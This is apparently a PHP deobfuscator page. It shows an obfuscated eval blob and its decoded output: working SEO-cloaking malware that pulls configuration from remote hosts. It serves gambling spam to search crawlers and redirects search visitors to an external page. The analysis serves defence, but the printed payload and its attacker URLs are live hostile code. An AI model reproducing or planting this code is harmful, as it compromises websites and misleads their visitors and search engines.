Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzinflate(base64_decode( str_rot13('5Iqqo9gHTY7CemvAbgahJdsq6NFAbdcf3ybc7GLazEuYfH7f..
Decoded Output download
set_time_limit(0);
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
define('URI', $_SERVER['REQUEST_URI']);
// ****
function fetchRemoteContent($url) {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$result = curl_exec($ch);
curl_close($ch);
if ($result === false || empty(trim($result))) {
return false; //
}
return trim($result); //
} else {
$result = file_get_contents($url);
return $result ? trim($result) : false;
}
}
$remoteHostUrl = 'https://5useo.s3.sa-east-1.amazonaws.com/js/faapi.txt'; //
$remoteHost = fetchRemoteContent($remoteHostUrl);
$defaultHostEncoded = 'aHR0cHM6Ly9mYS5iZXQ2a3Nlby5jb20v'; //
if ($remoteHost) {
$decodedHost = base64_decode($remoteHost);
if (filter_var($decodedHost, FILTER_VALIDATE_URL)) {
define('host', $decodedHost);
} else {
define('host', base64_decode($defaultHostEncoded));
}
} else {
define('host', base64_decode($defaultHostEncoded));
}
$remoteMuluUrl = 'https://5useo.s3.sa-east-1.amazonaws.com/js/mulu.txt';
$remoteMulu = fetchRemoteContent($remoteMuluUrl);
if ($remoteMulu && preg_match('/^[\w|.\-\(\)\?\!\:\[\]]+$/', $remoteMulu)) {
define('MULU', $remoteMulu);
} else {
define('MULU', 'app|ios|android|download|blank|bet|casino|games|play|video|poker|root|news|data|-\d(?!\d)');
}
function isEngines($key){
return stristr($key, 'Googlebot') !== false || stristr($key, 'Bingbot') !== false || stristr($key, 'Yahoo!') !== false;
}
function isIncludes(){
$re = 0;
$temp = explode('|', MULU);
foreach($temp as $v){
if(preg_match('/' . $v . '/', URI)){
$re = 1;
}
}
return $re;
}
function isRef($ref){
return stristr($ref, 'google') !== false || stristr($ref, 'bing') !== false || stristr($ref, 'yahoo') !== false;
}
function getContents($url){
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)");
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$result = curl_exec($ch);
curl_close($ch);
if($result == NULL){
return file_get_contents($url);
}
return $result;
} else {
return file_get_contents($url);
}
}
$ref = $_SERVER["HTTP_REFERER"];
$key = $_SERVER["HTTP_USER_AGENT"];
$ym = $_SERVER['HTTP_HOST'];
if (isEngines($key)) {
header('Content-Type:text/html;charset=utf-8');
if(isIncludes()){
echo getContents(host."?xhost=".$ym.'&reurl='.URI.'&ua=Googlebot'.'&f=google');
exit;
} else {
echo file_get_contents("https://jsc.hhvipcdn.com/index.php");
}
} else {
if(isIncludes() && isRef($ref)){
header("Location: https://5useo.s3.sa-east-1.amazonaws.com/tz/fa.html"); //
exit;
}
}
Did this file decode correctly?
Original Code
eval(gzinflate(base64_decode(
str_rot13('5Iqqo9gHTY7CemvAbgahJdsq6NFAbdcf3ybc7GLazEuYfH7fx8Fo42CMW02lhqWNjRPVwtfLLhjPNMfTTePWFLIAMK+TcA3S/tCi8HsdcN0eR+VTF0axp97C5/2ZE5wTmPoEYYAcZaSTldJV61WKp4yQKJon9rPfDoOOKQS9xgdZ2Tl61UKVCTXxj7VA1eElrtB7UzU5SdgAi54TucEOndMAEXTfYtgGXXZISsJPby4FIBI8JFzJAU6+ktzmJsGvz+0Kwm9Qx5CCe9/r+sm+7eZ7B/p/6K34Dr/a33p3g3b3o/IhoCr/rQt5znd1oW2M1RL1jiFTFcdHxptzZqAlYDyqFlS4mObFL1dAqRlCrnXtN4Sz2vLGcWvBCkz9tsWbpPzPHsSIpNu+HDsR640cqYXfSf6r49LKjPzh8OQRdyVdd6fyqKT1rScEc9QfLMvXkLVTtP2siauB4Hj1oUaxamRhaF2J9wAzKBX1YOn7GQcR5jWTErfJ9Hu0ZowufN748/yDAiW9EWbB64eZAMikiGFRZK9pjydhUsYxRVD9vh33w3Ls3+1/qBiC357f/COxjYXETzRpxu4V6T0+7J9+/Cmreq7QC4O156ig3x9s7wl4S3OhVZXAh3nN4mKGVybqZy8CH8pGE0VMnLj5SbM1b/aVvIOCnvBItvhrvxiHL2KKNuIPtmUUz89z51brboW3KCojAZRrz56IpEAscGMhr7WBz9aYKenTfJCXeZBRUBW+Co9msssrh/2ia/H//Ko3kb+9eHp7g98CdlYRYXzC+3ANZDjMkTBLtLeRLQ4/HzlqTfGtqhVyqHMsJwyE6Y7EiSvpZ99+6/jksUmIdaoaYyrCmnjYhsRJ/oYIs/Ers/Ah7+M3dIFHT7UJBCdtAgNIzIeSUwakzuLrQgUa9teKgOukgKKfvxahXKE6hIOFIB3PLzU51TWW4IH4yTIkm2xNAJ86PrMV/Y6xTTRMZJ8/MWV0vUcF1XhV2HhoyMoIrbJ0nDWozQIWDK+oQ5Rzat+WrNIfE44tklI1eLzOJEFl71ldgU25Zy0EX1WybGWEzn9pddlgUp1xBoE7wVZVkOvfyNiyRMYpjJuSyNW2UA+xab9gj6Jz4Eh0oIfHT37IjiLIi0dLe2CCgXysk03v+L6Sh/66nEQdB/DXpK2KHhoocB35OzoLa64L4fWRkMPRRBoO1QN9kn6Qnvw4X6DeuqMRkr5OwpZahNTomyOng0vIjeONR8yJA0Y3WbmVy1AqkN1XW5WRb4Lg27eIZfPllPdNQlV5R2MouxTQuIsFpFlrHLVCfUU0bzlfHMqtvScVum2HJMrhWod2BOEMNpyNNS8PQlHZLxxn7gFu7gapFP/rFN33kyRKISYwTIHotlipNOY1NArkpVIRIDQ1WFEqwhu4DXT7akkd7i/EKtOemhVMMEKzoadSKwHgP2sa5OxxDfx6zWyIP0osVYJlk+GMUQeXnk5Xig1hllR6DLUQipk3Xla9el8xF8evXo5GmCjigcqRTrmgYzv1KPuVOl8bY9fBAfofPJATmTURkxgRQEjo7ZeccIYcUBNCfPgdrt26CQFG/DD857Dt6DXnowAWVtDxURguYJe6V00jGiybkErTIijkT74jzAMvfaZy8PE6tj4IVM+Zpaduj3/mnEaZyVHwYtRV8bVZCDwrJwv/13KuiMnCz8Hr9yPm43NBIB5UBE2C1ZhrYwpn66nwT3MDLnMgxV7fAWm0jHA9kQf+VEAAYhSf/B+bDUKZB8f8BiDLM1qu+jidUVmtffLhJ1h/7z4/BONUOZamSj==')
)));
Function Calls
gzinflate | 1 |
str_rot13 | 1 |
base64_decode | 1 |
Stats
MD5 | 87c670fc3300a2efc5a4c1a074bcb12c |
Eval Count | 1 |
Decode Time | 45 ms |